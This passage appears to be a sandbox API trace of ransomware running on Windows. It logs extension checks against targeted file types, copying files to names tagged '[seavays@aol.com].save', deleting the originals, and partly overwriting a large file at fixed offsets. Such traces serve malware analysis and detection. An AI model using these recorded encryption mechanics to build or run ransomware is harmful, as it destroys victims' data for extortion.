[0052.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0052.054] lstrlenW (lpString=".zip") returned 4 [0052.054] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.054] lstrlenW (lpString=".rar") returned 4 [0052.054] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.054] lstrlenW (lpString=".bz2") returned 4 [0052.054] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.054] lstrlenW (lpString=".7z") returned 3 [0052.054] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0052.054] lstrlenW (lpString=".dbf") returned 4 [0052.054] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0052.054] lstrlenW (lpString=".1cd") returned 4 [0052.054] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 40 [0052.054] lstrlenW (lpString=".jpg") returned 4 [0052.054] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.054] lstrcmpiW (lpString1=".ico", lpString2=".save") returned -1 [0052.054] lstrlenW (lpString="Rotate1.ico") returned 11 [0052.055] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0052.055] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=894) returned 1 [0052.055] CloseHandle (hObject=0x2f4) returned 1 [0052.055] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 0x80 [0052.055] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.055] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0052.055] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.055] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.055] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0052.056] GetLastError () returned 0x0 [0052.056] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x37e, lpOverlapped=0x0) returned 1 [0052.524] WriteFile (in: hFile=0x2c0, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x380, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x380, lpOverlapped=0x0) returned 1 [0052.525] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.525] WriteFile (in: hFile=0x2c0, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xea, lpOverlapped=0x0) returned 1 [0052.525] SetEndOfFile (hFile=0x2c0) returned 1 [0052.525] CloseHandle (hObject=0x2c0) returned 1 [0052.526] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.526] SetEndOfFile (hFile=0x2f4) returned 1 [0052.527] CloseHandle (hObject=0x2f4) returned 1 [0052.527] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.527] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate1.ico")) returned 1 [0052.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0052.527] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0052.527] lstrlenW (lpString=".doc") returned 4 [0052.527] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.527] lstrlenW (lpString=".docx") returned 5 [0052.527] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0052.528] lstrlenW (lpString=".pdf") returned 4 [0052.528] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.528] lstrlenW (lpString=".xls") returned 4 [0052.528] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.528] lstrlenW (lpString=".xlsx") returned 5 [0052.528] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0052.528] lstrlenW (lpString=".ppt") returned 4 [0052.528] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0052.528] lstrlenW (lpString=".zip") returned 4 [0052.528] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.528] lstrlenW (lpString=".rar") returned 4 [0052.528] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.528] lstrlenW (lpString=".bz2") returned 4 [0052.528] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.528] lstrlenW (lpString=".7z") returned 3 [0052.528] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0052.528] lstrlenW (lpString=".dbf") returned 4 [0052.528] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0052.528] lstrlenW (lpString=".1cd") returned 4 [0052.528] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0052.528] lstrlenW (lpString=".jpg") returned 4 [0052.528] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0052.528] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0052.528] lstrlenW (lpString=".doc") returned 4 [0052.528] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.528] lstrlenW (lpString=".docx") returned 5 [0052.528] lstrcmpiW (lpString1=".docx", lpString2="1.ico") returned -1 [0052.528] lstrlenW (lpString=".pdf") returned 4 [0052.529] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.529] lstrlenW (lpString=".xls") returned 4 [0052.529] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.529] lstrlenW (lpString=".xlsx") returned 5 [0052.529] lstrcmpiW (lpString1=".xlsx", lpString2="1.ico") returned -1 [0052.529] lstrlenW (lpString=".ppt") returned 4 [0052.529] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0052.529] lstrlenW (lpString=".zip") returned 4 [0052.529] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.529] lstrlenW (lpString=".rar") returned 4 [0052.529] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.529] lstrlenW (lpString=".bz2") returned 4 [0052.529] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.529] lstrlenW (lpString=".7z") returned 3 [0052.529] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0052.529] lstrlenW (lpString=".dbf") returned 4 [0052.529] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0052.529] lstrlenW (lpString=".1cd") returned 4 [0052.529] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.529] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\Rotate1.ico") returned 42 [0052.529] lstrlenW (lpString=".jpg") returned 4 [0052.529] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.529] lstrcmpiW (lpString1=".ico", lpString2=".save") returned -1 [0052.529] lstrlenW (lpString="warn.ico") returned 8 [0052.529] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0052.530] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=10134) returned 1 [0052.530] CloseHandle (hObject=0x2f4) returned 1 [0052.530] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 0x80 [0052.530] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.530] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0052.530] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.530] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.530] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2c0 [0052.530] GetLastError () returned 0x0 [0052.530] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x2796, lpOverlapped=0x0) returned 1 [0052.532] WriteFile (in: hFile=0x2c0, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0x27a0, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0x27a0, lpOverlapped=0x0) returned 1 [0052.533] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x300fecc, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesRead=0x300fecc*=0x0, lpOverlapped=0x0) returned 1 [0052.533] WriteFile (in: hFile=0x2c0, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x300fc94, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fc94*=0xe4, lpOverlapped=0x0) returned 1 [0052.533] SetEndOfFile (hFile=0x2c0) returned 1 [0052.533] CloseHandle (hObject=0x2c0) returned 1 [0052.534] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0052.534] SetEndOfFile (hFile=0x2f4) returned 1 [0052.535] CloseHandle (hObject=0x2f4) returned 1 [0052.535] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0052.535] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\warn.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\warn.ico")) returned 1 [0052.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0052.535] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0052.535] lstrlenW (lpString=".doc") returned 4 [0052.535] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.535] lstrlenW (lpString=".docx") returned 5 [0052.535] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0052.535] lstrlenW (lpString=".pdf") returned 4 [0052.535] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.535] lstrlenW (lpString=".xls") returned 4 [0052.536] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.536] lstrlenW (lpString=".xlsx") returned 5 [0052.536] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0052.536] lstrlenW (lpString=".ppt") returned 4 [0052.536] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0052.536] lstrlenW (lpString=".zip") returned 4 [0052.536] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.536] lstrlenW (lpString=".rar") returned 4 [0052.536] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.536] lstrlenW (lpString=".bz2") returned 4 [0052.536] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.536] lstrlenW (lpString=".7z") returned 3 [0052.536] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0052.536] lstrlenW (lpString=".dbf") returned 4 [0052.536] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0052.536] lstrlenW (lpString=".1cd") returned 4 [0052.536] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0052.536] lstrlenW (lpString=".jpg") returned 4 [0052.536] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0052.536] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0052.536] lstrlenW (lpString=".doc") returned 4 [0052.536] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0052.536] lstrlenW (lpString=".docx") returned 5 [0052.536] lstrcmpiW (lpString1=".docx", lpString2="n.ico") returned -1 [0052.536] lstrlenW (lpString=".pdf") returned 4 [0052.536] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0052.536] lstrlenW (lpString=".xls") returned 4 [0052.536] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0052.537] lstrlenW (lpString=".xlsx") returned 5 [0052.537] lstrcmpiW (lpString1=".xlsx", lpString2="n.ico") returned -1 [0052.537] lstrlenW (lpString=".ppt") returned 4 [0052.537] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0052.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0052.537] lstrlenW (lpString=".zip") returned 4 [0052.537] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0052.537] lstrlenW (lpString=".rar") returned 4 [0052.537] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0052.537] lstrlenW (lpString=".bz2") returned 4 [0052.537] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0052.537] lstrlenW (lpString=".7z") returned 3 [0052.537] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0052.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0052.537] lstrlenW (lpString=".dbf") returned 4 [0052.537] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0052.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0052.537] lstrlenW (lpString=".1cd") returned 4 [0052.537] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0052.537] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\warn.ico") returned 39 [0052.537] lstrlenW (lpString=".jpg") returned 4 [0052.537] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0052.537] lstrcmpiW (lpString1=".mzz", lpString2=".save") returned -1 [0052.537] lstrlenW (lpString="netfx_Core.mzz") returned 14 [0052.537] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0052.538] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x300ff14 | out: lpFileSize=0x300ff14*=181483595) returned 1 [0052.538] CloseHandle (hObject=0x2f4) returned 1 [0052.538] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz")) returned 0x80 [0052.538] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0052.538] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[seavays@aol.com].save")) returned 1 [0052.539] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\588bce7c90097ed212\\netfx_core.mzz.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0052.539] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc64 | out: lpNewFilePointer=0x0) returned 1 [0052.539] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc24 | out: lpNewFilePointer=0x0) returned 1 [0052.539] ReadFile (in: hFile=0x2f4, lpBuffer=0x3afc058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc30, lpOverlapped=0x0 | out: lpBuffer=0x3afc058*, lpNumberOfBytesRead=0x300fc30*=0x40000, lpOverlapped=0x0) returned 1 [0052.545] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x300fc24 | out: lpNewFilePointer=0x0) returned 1 [0052.545] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b3c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b3c058*, lpNumberOfBytesRead=0x300fc30*=0x40000, lpOverlapped=0x0) returned 1 [0052.549] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x300fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0052.549] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x300fc24 | out: lpNewFilePointer=0x0) returned 1 [0052.550] ReadFile (in: hFile=0x2f4, lpBuffer=0x3b7c058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x300fc30, lpOverlapped=0x0 | out: lpBuffer=0x3b7c058*, lpNumberOfBytesRead=0x300fc30*=0x40000, lpOverlapped=0x0) returned 1 [0052.567] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fec0 | out: lpNewFilePointer=0x0) returned 1 [0053.083] WriteFile (in: hFile=0x2f4, lpBuffer=0x3afc020*, nNumberOfBytesToWrite=0xc0108, lpNumberOfBytesWritten=0x300fca8, lpOverlapped=0x0 | out: lpBuffer=0x3afc020*, lpNumberOfBytesWritten=0x300fca8*=0xc0108, lpOverlapped=0x0) returned 1 [0053.097] SetEndOfFile (hFile=0x2f4) returned 1 [0053.097] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40000) returned 0x4283f58 [0053.103] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x300fc74 | out: lpNewFilePointer=0x0) returned 1 [0053.103] WriteFile (in: hFile=0x2f4, lpBuffer=0x4283f58*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc80, lpOverlapped=0x0 | out: lpBuffer=0x4283f58*, lpNumberOfBytesWritten=0x300fc80*=0x40000, lpOverlapped=0x0) returned 1 [0053.104] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x39b12c3, lpNewFilePointer=0x0, dwMoveMethod=0x300fc74 | out: lpNewFilePointer=0x0) returned 1 [0053.104] WriteFile (in: hFile=0x2f4, lpBuffer=0x4283f58*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc80, lpOverlapped=0x0 | out: lpBuffer=0x4283f58*, lpNumberOfBytesWritten=0x300fc80*=0x40000, lpOverlapped=0x0) returned 1 [0053.105] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0xacd384b, lpNewFilePointer=0x0, dwMoveMethod=0x300fc74 | out: lpNewFilePointer=0x0) returned 1 [0053.105] WriteFile (in: hFile=0x2f4, lpBuffer=0x4283f58*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x300fc80, lpOverlapped=0x0 | out: lpBuffer=0x4283f58*, lpNumberOfBytesWritten=0x300fc80*=0x40000, lpOverlapped=0x0) returned 1 [0053.106] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x4283f58 | out: hHeap=0x6a0000) returned 1 [0053.106] CloseHandle (hObject=0x2f4) returned 1 [0058.147] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Core.mzz.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x80) returned 1 [0058.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0058.147] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0058.147] lstrlenW (lpString=".doc") returned 4 [0058.174] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0058.174] lstrlenW (lpString=".docx") returned 5 [0058.174] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0058.174] lstrlenW (lpString=".pdf") returned 4 [0058.174] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0058.174] lstrlenW (lpString=".xls") returned 4 [0058.174] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0058.174] lstrlenW (lpString=".xlsx") returned 5 [0058.174] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0058.174] lstrlenW (lpString=".ppt") returned 4 [0058.174] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0058.174] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0058.174] lstrlenW (lpString=".zip") returned 4 [0058.174] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0058.174] lstrlenW (lpString=".rar") returned 4 [0058.174] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0058.175] lstrlenW (lpString=".bz2") returned 4 [0058.175] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0058.175] lstrlenW (lpString=".7z") returned 3 [0058.175] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0058.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0058.175] lstrlenW (lpString=".dbf") returned 4 [0058.175] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0058.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0058.175] lstrlenW (lpString=".1cd") returned 4 [0058.175] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0058.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0058.175] lstrlenW (lpString=".jpg") returned 4 [0058.175] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0058.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0058.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0058.175] lstrlenW (lpString=".doc") returned 4 [0058.175] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0058.175] lstrlenW (lpString=".docx") returned 5 [0058.175] lstrcmpiW (lpString1=".docx", lpString2="e.mzz") returned -1 [0058.175] lstrlenW (lpString=".pdf") returned 4 [0058.175] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0058.175] lstrlenW (lpString=".xls") returned 4 [0058.175] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0058.175] lstrlenW (lpString=".xlsx") returned 5 [0058.175] lstrcmpiW (lpString1=".xlsx", lpString2="e.mzz") returned -1 [0058.175] lstrlenW (lpString=".ppt") returned 4 [0058.175] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0058.175] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0058.175] lstrlenW (lpString=".zip") returned 4 [0058.175] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0058.175] lstrlenW (lpString=".rar") returned 4 [0058.176] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0058.176] lstrlenW (lpString=".bz2") returned 4 [0058.176] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0058.176] lstrlenW (lpString=".7z") returned 3 [0058.176] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0058.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0058.176] lstrlenW (lpString=".dbf") returned 4 [0058.176] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0058.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") returned 36 [0058.176] lstrlenW (lpString=".1cd") returned 4 [0058.176] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0058.176] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Core.mzz") 